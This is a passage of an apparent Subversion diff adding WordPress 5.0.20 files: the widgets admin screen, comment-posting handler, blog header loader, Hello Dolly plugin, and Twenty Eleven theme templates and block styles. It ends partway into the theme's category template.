+		if ( 'wp_inactive_widgets' == $sbname || 'orphaned_widgets' == substr( $sbname, 0, 16 ) ) {
+			echo '&nbsp;';
+		} else {
+			if ( !isset($sidebars_widgets[$sbname]) || !is_array($sidebars_widgets[$sbname]) ) {
+				$j = 1;
+				$sidebars_widgets[$sbname] = array();
+			} else {
+				$j = count($sidebars_widgets[$sbname]);
+				if ( isset($_GET['addnew']) || !in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$j++;
+			}
+			$selected = '';
+			echo "\t\t<select name='{$sbname}_position'>\n";
+			echo "\t\t<option value=''>" . __('&mdash; Select &mdash;') . "</option>\n";
+			for ( $i = 1; $i <= $j; $i++ ) {
+				if ( in_array($widget_id, $sidebars_widgets[$sbname], true) )
+					$selected = selected( $i, $key + 1, false );
+				echo "\t\t<option value='$i'$selected> $i </option>\n";
+			}
+			echo "\t\t</select>\n";
+		}
+		echo "</td></tr>\n";
+	} ?>
+	</tbody></table>
+	</div>
+
+	<div class="widget-control-actions">
+<?php
+	if ( isset($_GET['addnew']) ) { ?>
+	<a href="widgets.php" class="button alignleft"><?php _e('Cancel'); ?></a>
+<?php
+	} else {
+		submit_button( __( 'Delete' ), 'alignleft', 'removewidget', false );
+	}
+	submit_button( __( 'Save Widget' ), 'primary alignright', 'savewidget', false ); ?>
+	<input type="hidden" name="widget-id" class="widget-id" value="<?php echo esc_attr($widget_id); ?>" />
+	<input type="hidden" name="id_base" class="id_base" value="<?php echo esc_attr($id_base); ?>" />
+	<input type="hidden" name="multi_number" class="multi_number" value="<?php echo esc_attr($multi_number); ?>" />
+<?php	wp_nonce_field("save-delete-widget-$widget_id"); ?>
+	<br class="clear" />
+	</div>
+	</form>
+	</div>
+	</div>
+<?php
+	require_once( ABSPATH . 'wp-admin/admin-footer.php' );
+	exit;
+}
+
+$messages = array(
+	__('Changes saved.')
+);
+
+$errors = array(
+	__('Error while saving.'),
+	__('Error in displaying the widget settings form.')
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' ); ?>
+
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $title );
+?></h1>
+
+<?php
+if ( current_user_can( 'customize' ) ) {
+	printf(
+		' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>',
+		esc_url( add_query_arg(
+			array(
+				array( 'autofocus' => array( 'panel' => 'widgets' ) ),
+				'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) )
+			),
+			admin_url( 'customize.php' )
+		) ),
+		__( 'Manage with Live Preview' )
+	);
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php if ( isset($_GET['message']) && isset($messages[$_GET['message']]) ) { ?>
+<div id="message" class="updated notice is-dismissible"><p><?php echo $messages[$_GET['message']]; ?></p></div>
+<?php } ?>
+<?php if ( isset($_GET['error']) && isset($errors[$_GET['error']]) ) { ?>
+<div id="message" class="error"><p><?php echo $errors[$_GET['error']]; ?></p></div>
+<?php } ?>
+
+<?php
+/**
+ * Fires before the Widgets administration page content loads.
+ *
+ * @since 3.0.0
+ */
+do_action( 'widgets_admin_page' ); ?>
+
+<div class="widget-liquid-left">
+<div id="widgets-left">
+	<div id="available-widgets" class="widgets-holder-wrap">
+		<div class="sidebar-name">
+			<button type="button" class="handlediv hide-if-no-js" aria-expanded="true">
+				<span class="screen-reader-text"><?php _e( 'Available Widgets' ); ?></span>
+				<span class="toggle-indicator" aria-hidden="true"></span>
+			</button>
+			<h2><?php _e( 'Available Widgets' ); ?> <span id="removing-widget"><?php _ex( 'Deactivate', 'removing-widget' ); ?> <span></span></span></h2>
+		</div>
+		<div class="widget-holder">
+			<div class="sidebar-description">
+				<p class="description"><?php _e('To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back.'); ?></p>
+			</div>
+			<div id="widget-list">
+				<?php wp_list_widgets(); ?>
+			</div>
+			<br class='clear' />
+		</div>
+		<br class="clear" />
+	</div>
+
+<?php
+
+$theme_sidebars = array();
+foreach ( $wp_registered_sidebars as $sidebar => $registered_sidebar ) {
+	if ( false !== strpos( $registered_sidebar['class'], 'inactive-sidebar' ) || 'orphaned_widgets' == substr( $sidebar, 0, 16 ) ) {
+		$wrap_class = 'widgets-holder-wrap';
+		if ( !empty( $registered_sidebar['class'] ) )
+			$wrap_class .= ' ' . $registered_sidebar['class'];
+
+		$is_inactive_widgets = 'wp_inactive_widgets' == $registered_sidebar['id'];
+		?>
+		<div class="<?php echo esc_attr( $wrap_class ); ?>">
+			<div class="widget-holder inactive">
+				<?php wp_list_widget_controls( $registered_sidebar['id'], $registered_sidebar['name'] ); ?>
+
+				<?php if ( $is_inactive_widgets ) { ?>
+				<div class="remove-inactive-widgets">
+					<form action="" method="post">
+						<p>
+							<?php
+							$attributes = array( 'id' => 'inactive-widgets-control-remove' );
+
+							if ( empty($sidebars_widgets['wp_inactive_widgets']) ) {
+								$attributes['disabled'] = '';
+							}
+
+							submit_button( __( 'Clear Inactive Widgets' ), 'delete', 'removeinactivewidgets', false, $attributes );
+							?>
+							<span class="spinner"></span>
+						</p>
+						<?php wp_nonce_field( 'remove-inactive-widgets', '_wpnonce_remove_inactive_widgets' ); ?>
+					</form>
+				</div>
+				<?php } ?>
+			</div>
+			<?php if ( $is_inactive_widgets ) { ?>
+			<p class="description"><?php _e( 'This will clear all items from the inactive widgets list. You will not be able to restore any customizations.' ); ?></p>
+			<?php } ?>
+		</div>
+		<?php
+
+	} else {
+		$theme_sidebars[$sidebar] = $registered_sidebar;
+	}
+}
+
+?>
+</div>
+</div>
+<?php
+
+$i = $split = 0;
+$single_sidebar_class = '';
+$sidebars_count = count( $theme_sidebars );
+
+if ( $sidebars_count > 1 ) {
+	$split = ceil( $sidebars_count / 2 );
+} else {
+	$single_sidebar_class = ' single-sidebar';
+}
+
+?>
+<div class="widget-liquid-right">
+<div id="widgets-right" class="wp-clearfix<?php echo $single_sidebar_class; ?>">
+<div class="sidebars-column-1">
+<?php
+
+foreach ( $theme_sidebars as $sidebar => $registered_sidebar ) {
+	$wrap_class = 'widgets-holder-wrap';
+	if ( !empty( $registered_sidebar['class'] ) )
+		$wrap_class .= ' sidebar-' . $registered_sidebar['class'];
+
+	if ( $i > 0 )
+		$wrap_class .= ' closed';
+
+	if ( $split && $i == $split ) {
+		?>
+		</div><div class="sidebars-column-2">
+		<?php
+	}
+
+	?>
+	<div class="<?php echo esc_attr( $wrap_class ); ?>">
+		<?php wp_list_widget_controls( $sidebar, $registered_sidebar['name'] ); // Show the control forms for each of the widgets in this sidebar ?>
+	</div>
+	<?php
+
+	$i++;
+}
+
+?>
+</div>
+</div>
+</div>
+<form method="post">
+<?php wp_nonce_field( 'save-sidebar-widgets', '_wpnonce_widgets', false ); ?>
+</form>
+<br class="clear" />
+</div>
+
+<div class="widgets-chooser">
+	<ul class="widgets-chooser-sidebars"></ul>
+	<div class="widgets-chooser-actions">
+		<button class="button widgets-chooser-cancel"><?php _e( 'Cancel' ); ?></button>
+		<button class="button button-primary widgets-chooser-add"><?php _e( 'Add Widget' ); ?></button>
+	</div>
+</div>
+
+<?php
+
+/**
+ * Fires after the available widgets and sidebars have loaded, before the admin footer.
+ *
+ * @since 2.2.0
+ */
+do_action( 'sidebar_admin_page' );
+require_once( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-blog-header.php
===================================================================
--- /tags/5.0.20/src/wp-blog-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-blog-header.php	(revision 56912)
@@ -0,0 +1,21 @@
+<?php
+/**
+ * Loads the WordPress environment and template.
+ *
+ * @package WordPress
+ */
+
+if ( !isset($wp_did_header) ) {
+
+	$wp_did_header = true;
+
+	// Load the WordPress library.
+	require_once( dirname(__FILE__) . '/wp-load.php' );
+
+	// Set up the WordPress query.
+	wp();
+
+	// Load the theme template.
+	require_once( ABSPATH . WPINC . '/template-loader.php' );
+
+}
Index: /tags/5.0.20/src/wp-comments-post.php
===================================================================
--- /tags/5.0.20/src/wp-comments-post.php	(revision 56912)
+++ /tags/5.0.20/src/wp-comments-post.php	(revision 56912)
@@ -0,0 +1,63 @@
+<?php
+/**
+ * Handles Comment Post to WordPress and prevents duplicate comment posting.
+ *
+ * @package WordPress
+ */
+
+if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
+	$protocol = $_SERVER['SERVER_PROTOCOL'];
+	if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0' ) ) ) {
+		$protocol = 'HTTP/1.0';
+	}
+
+	header('Allow: POST');
+	header("$protocol 405 Method Not Allowed");
+	header('Content-Type: text/plain');
+	exit;
+}
+
+/** Sets up the WordPress Environment. */
+require( dirname(__FILE__) . '/wp-load.php' );
+
+nocache_headers();
+
+$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
+if ( is_wp_error( $comment ) ) {
+	$data = intval( $comment->get_error_data() );
+	if ( ! empty( $data ) ) {
+		wp_die( '<p>' . $comment->get_error_message() . '</p>', __( 'Comment Submission Failure' ), array( 'response' => $data, 'back_link' => true ) );
+	} else {
+		exit;
+	}
+}
+
+$user = wp_get_current_user();
+$cookies_consent = ( isset( $_POST['wp-comment-cookies-consent'] ) );
+
+/**
+ * Perform other actions when comment cookies are set.
+ *
+ * @since 3.4.0
+ * @since 4.9.6 The `$cookies_consent` parameter was added.
+ *
+ * @param WP_Comment $comment         Comment object.
+ * @param WP_User    $user            Comment author's user object. The user may not exist.
+ * @param boolean    $cookies_consent Comment author's consent to store cookies.
+ */
+do_action( 'set_comment_cookies', $comment, $user, $cookies_consent );
+
+$location = empty( $_POST['redirect_to'] ) ? get_comment_link( $comment ) : $_POST['redirect_to'] . '#comment-' . $comment->comment_ID;
+
+/**
+ * Filters the location URI to send the commenter after posting.
+ *
+ * @since 2.0.5
+ *
+ * @param string     $location The 'redirect_to' URI sent via $_POST.
+ * @param WP_Comment $comment  Comment object.
+ */
+$location = apply_filters( 'comment_post_redirect', $location, $comment );
+
+wp_safe_redirect( $location );
+exit;
Index: /tags/5.0.20/src/wp-content/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/index.php	(revision 56912)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/5.0.20/src/wp-content/plugins/hello.php
===================================================================
--- /tags/5.0.20/src/wp-content/plugins/hello.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/plugins/hello.php	(revision 56912)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * @package Hello_Dolly
+ * @version 1.7.1
+ */
+/*
+Plugin Name: Hello Dolly
+Plugin URI: http://wordpress.org/plugins/hello-dolly/
+Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
+Author: Matt Mullenweg
+Version: 1.7.1
+Author URI: http://ma.tt/
+*/
+
+function hello_dolly_get_lyric() {
+	/** These are the lyrics to Hello Dolly */
+	$lyrics = "Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+I feel the room swayin'
+While the band's playin'
+One of our old favorite songs from way back when
+So, take her wrap, fellas
+Dolly, never go away again 
+Hello, Dolly
+Well, hello, Dolly
+It's so nice to have you back where you belong
+You're lookin' swell, Dolly
+I can tell, Dolly
+You're still glowin', you're still crowin'
+You're still goin' strong
+I feel the room swayin'
+While the band's playin'
+One of our old favorite songs from way back when
+So, golly, gee, fellas
+Have a little faith in me, fellas
+Dolly, never go away
+Promise, you'll never go away
+Dolly'll never go away again";
+
+	// Here we split it into lines
+	$lyrics = explode( "\n", $lyrics );
+
+	// And then randomly choose a line
+	return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
+}
+
+// This just echoes the chosen line, we'll position it later
+function hello_dolly() {
+	$chosen = hello_dolly_get_lyric();
+	echo "<p id='dolly'>$chosen</p>";
+}
+
+// Now we set that function up to execute when the admin_notices action is called
+add_action( 'admin_notices', 'hello_dolly' );
+
+// We need some CSS to position the paragraph
+function dolly_css() {
+	// This makes sure that the positioning is also good for right-to-left languages
+	$x = is_rtl() ? 'left' : 'right';
+
+	echo "
+	<style type='text/css'>
+	#dolly {
+		float: $x;
+		padding-$x: 15px;
+		padding-top: 5px;		
+		margin: 0;
+		font-size: 11px;
+	}
+	.block-editor-page #dolly {
+		display: none;
+	}
+	</style>
+	";
+}
+
+add_action( 'admin_head', 'dolly_css' );
+
+?>
Index: /tags/5.0.20/src/wp-content/plugins/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/plugins/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/plugins/index.php	(revision 56912)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/5.0.20/src/wp-content/themes/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/index.php	(revision 56912)
@@ -0,0 +1,2 @@
+<?php
+// Silence is golden.
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/404.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/404.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/404.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * Template for displaying 404 pages (Not Found)
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary">
+		<div id="content" role="main">
+
+			<article id="post-0" class="post error404 not-found">
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'This is somewhat embarrassing, isn&rsquo;t it?', 'twentyeleven' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching, or one of the links below, can help.', 'twentyeleven' ); ?></p>
+
+					<?php get_search_form(); ?>
+
+					<?php the_widget( 'WP_Widget_Recent_Posts', array( 'number' => 10 ), array( 'widget_id' => '404' ) ); ?>
+
+					<div class="widget">
+						<h2 class="widgettitle"><?php _e( 'Most Used Categories', 'twentyeleven' ); ?></h2>
+						<ul>
+						<?php wp_list_categories( array( 'orderby' => 'count', 'order' => 'DESC', 'show_count' => 1, 'title_li' => '', 'number' => 10 ) ); ?>
+						</ul>
+					</div>
+
+					<?php
+					/* translators: %1$s: smilie */
+					$archive_content = '<p>' . sprintf( __( 'Try looking in the monthly archives. %1$s', 'twentyeleven' ), convert_smilies( ':)' ) ) . '</p>';
+					the_widget( 'WP_Widget_Archives', array( 'count' => 0, 'dropdown' => 1 ), array( 'after_title' => '</h2>' . $archive_content ) );
+					?>
+
+					<?php the_widget( 'WP_Widget_Tag_Cloud' ); ?>
+
+				</div><!-- .entry-content -->
+			</article><!-- #post-0 -->
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/archive.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/archive.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/archive.php	(revision 56912)
@@ -0,0 +1,72 @@
+<?php
+/**
+ * Template for displaying Archive pages
+ *
+ * Used to display archive-type pages if nothing more specific matches a query.
+ * For example, puts together date-based pages if no date.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<header class="page-header">
+					<h1 class="page-title">
+						<?php if ( is_day() ) : ?>
+							<?php printf( __( 'Daily Archives: %s', 'twentyeleven' ), '<span>' . get_the_date() . '</span>' ); ?>
+						<?php elseif ( is_month() ) : ?>
+							<?php printf( __( 'Monthly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'F Y', 'monthly archives date format', 'twentyeleven' ) ) . '</span>' ); ?>
+						<?php elseif ( is_year() ) : ?>
+							<?php printf( __( 'Yearly Archives: %s', 'twentyeleven' ), '<span>' . get_the_date( _x( 'Y', 'yearly archives date format', 'twentyeleven' ) ) . '</span>' ); ?>
+						<?php else : ?>
+							<?php _e( 'Blog Archives', 'twentyeleven' ); ?>
+						<?php endif; ?>
+					</h1>
+				</header>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/* Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/author.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/author.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/author.php	(revision 56912)
@@ -0,0 +1,101 @@
+<?php
+/**
+ * Template for displaying Author Archive pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<section id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<?php
+					/*
+					 * Queue the first post, that way we know what author
+					 * we're dealing with (if that is the case).
+					 *
+					 * We reset this later so we can run the loop properly
+					 * with a call to rewind_posts().
+					 */
+					the_post();
+				?>
+
+				<header class="page-header">
+					<h1 class="page-title author"><?php printf( __( 'Author Archives: %s', 'twentyeleven' ), '<span class="vcard"><a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author() ) . '" rel="me">' . get_the_author() . '</a></span>' ); ?></h1>
+				</header>
+
+				<?php
+					/*
+					 * Since we called the_post() above, we need to
+					 * rewind the loop back to the beginning that way
+					 * we can run the loop properly, in full.
+					 */
+					rewind_posts();
+				?>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php
+				// If a user has filled out their description, show a bio on their entries.
+				if ( get_the_author_meta( 'description' ) ) : ?>
+				<div id="author-info">
+					<div id="author-avatar">
+						<?php
+						/**
+						 * Filter the Twenty Eleven author bio avatar size.
+						 *
+						 * @since Twenty Eleven 1.0
+						 *
+						 * @param int The height and width avatar dimension in pixels. Default 60.
+						 */
+						echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 60 ) );
+						?>
+					</div><!-- #author-avatar -->
+					<div id="author-description">
+						<h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2>
+						<?php the_author_meta( 'description' ); ?>
+					</div><!-- #author-description	-->
+				</div><!-- #author-info -->
+				<?php endif; ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php
+						/*
+						 * Include the Post-Format-specific template for the content.
+						 * If you want to overload this in a child theme then include a file
+						 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+					?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</section><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/blocks.css	(revision 56912)
@@ -0,0 +1,406 @@
+/*
+Theme Name: Twenty Eleven
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+figure[class^="wp-block-"] {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption {
+	font-family: Georgia, serif;
+	font-size: 12px;
+}
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	color: #666;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	max-width: calc( 100% - 18px );
+	padding: 3px 0 5px 40px;
+	position: relative;
+	text-align: left;
+}
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 0;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	padding-left: 0;
+	padding-right: 40px;
+	text-align: right;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption:before {
+	left: 0;
+	margin-left: 5px;
+	margin-right: 0;
+	right: 10px;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin: 0 0 1.625em;
+}
+
+.wp-block-gallery .blocks-gallery-item figcaption {
+	margin-bottom: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-gallery .blocks-gallery-item img {
+	border: 0;
+	padding: 0;
+}
+
+/* Quote */
+
+.wp-block-quote {
+	margin: 0 3em;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 20px;
+}
+
+.wp-block-quote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+
+.wp-block-quote.is-large cite,
+.wp-block-quote.is-style-large cite {
+	font-size: 16px;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	clear: both;
+	display: flex;
+}
+
+.wp-block-cover-image.alignleft,
+.wp-block-cover.alignleft {
+	margin-right: 1.625em;
+}
+
+.wp-block-cover-image.alignright,
+.wp-block-cover.alignright {
+	margin-left: 1.625em;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background: #222;
+	border: none;
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	color: #eee;
+	cursor: pointer;
+	font-size: 15px;
+	padding: 5px 22px;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+
+.wp-block-file .wp-block-file__button:active {
+	background: #1982d1;
+	color: #bfddf3;
+}
+
+.rtl .wp-block-file * + .wp-block-file__button {
+	margin-left: 0.75em;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background-color: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote__citation,
+.wp-block-pullquote cite,
+.wp-block-pullquote footer {
+	color: #141412;
+}
+
+.wp-block-pullquote.alignleft {
+	margin-right: 1.625em;
+}
+
+.wp-block-pullquote.alignright {
+	margin-left: 1.625em;
+}
+
+/* Table */
+
+.wp-block-table {
+	border-bottom: 1px solid #ddd;
+	border-collapse: collapse;
+	border-spacing: 0;
+	width: 100%;
+}
+
+.wp-block-table th {
+	border: 0;
+	font-weight: bold;
+	padding: 6px 10px 6px 0;
+	text-transform: uppercase;
+}
+
+.wp-block-table td {
+	border: 0;
+	border-top: 1px solid #ddd;
+	padding: 6px 10px 6px 0;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	-webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	-moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	box-shadow: 0px 1px 2px rgba(0,0,0,0.3);
+	cursor: pointer;
+	font-size: 15px;
+	margin: 20px 0;
+	padding: 5px 22px;
+	text-decoration: none;
+	text-shadow: 0 -1px 0 rgba(0,0,0,0.3);
+}
+
+.is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #222;
+	text-shadow: none;
+}
+
+.wp-block-button__link,
+.wp-block-button .wp-block-button__link:hover,
+.wp-block-button .is-style-outline .wp-block-button__link:hover {
+	background: #222;
+	color: #eee;
+}
+
+.wp-block-button__link:active {
+	background: #1982d1;
+	color: #bfddf3;
+}
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+	max-width: 100px;
+}
+
+.wp-block-separator.is-style-wide {
+	max-width: 100%;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 1.625em;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	margin-left: 2.5em;
+	text-align: center;
+}
+
+.rtl .wp-block-archives.aligncenter,
+.rtl .wp-block-categories.aligncenter,
+.rtl .wp-block-latest-posts.aligncenter {
+	margin-left: 0;
+	margin-right: 2.5em;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 1px 2px #ccc;
+	-moz-box-shadow: 0 1px 2px #ccc;
+	box-shadow: 0 1px 2px #ccc;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 15px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-meta,
+.wp-block-latest-comments__comment-date {
+	color: #666;
+	font-size: 12px;
+	line-height: 2.2em;
+}
+
+.wp-block-latest-comments__comment-meta a {
+	font-weight: bold;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	-moz-border-radius: 3px;
+	border-radius: 3px;
+	margin: 0 0 2.625em;
+	position: relative;
+}
+
+/* Latest Posts */
+
+.wp-block-latest-posts.is-grid {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.has-blue-color {
+	color: #1982d1;
+}
+
+.has-blue-background-color {
+	background-color: #1982d1;
+}
+
+.has-black-color {
+	color: #000;
+}
+
+.has-black-background-color {
+	background-color: #000;
+}
+
+.has-dark-gray-color {
+	color: #373737;
+}
+
+.has-dark-gray-background-color {
+	background-color: #373737;
+}
+
+.has-medium-gray-color {
+	color: #666;
+}
+
+.has-medium-gray-background-color {
+	background-color: #666;
+}
+
+.has-light-gray-color {
+	color: #e2e2e2;
+}
+
+.has-light-gray-background-color {
+	background-color: #e2e2e2;
+}
+
+.has-white-color {
+	color: #fff;
+}
+
+.has-white-background-color {
+	background-color: #fff;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/category.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/category.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/category.php	(revision 56912)
@@ -0,0 +1,74 @@
+<?php
+/**
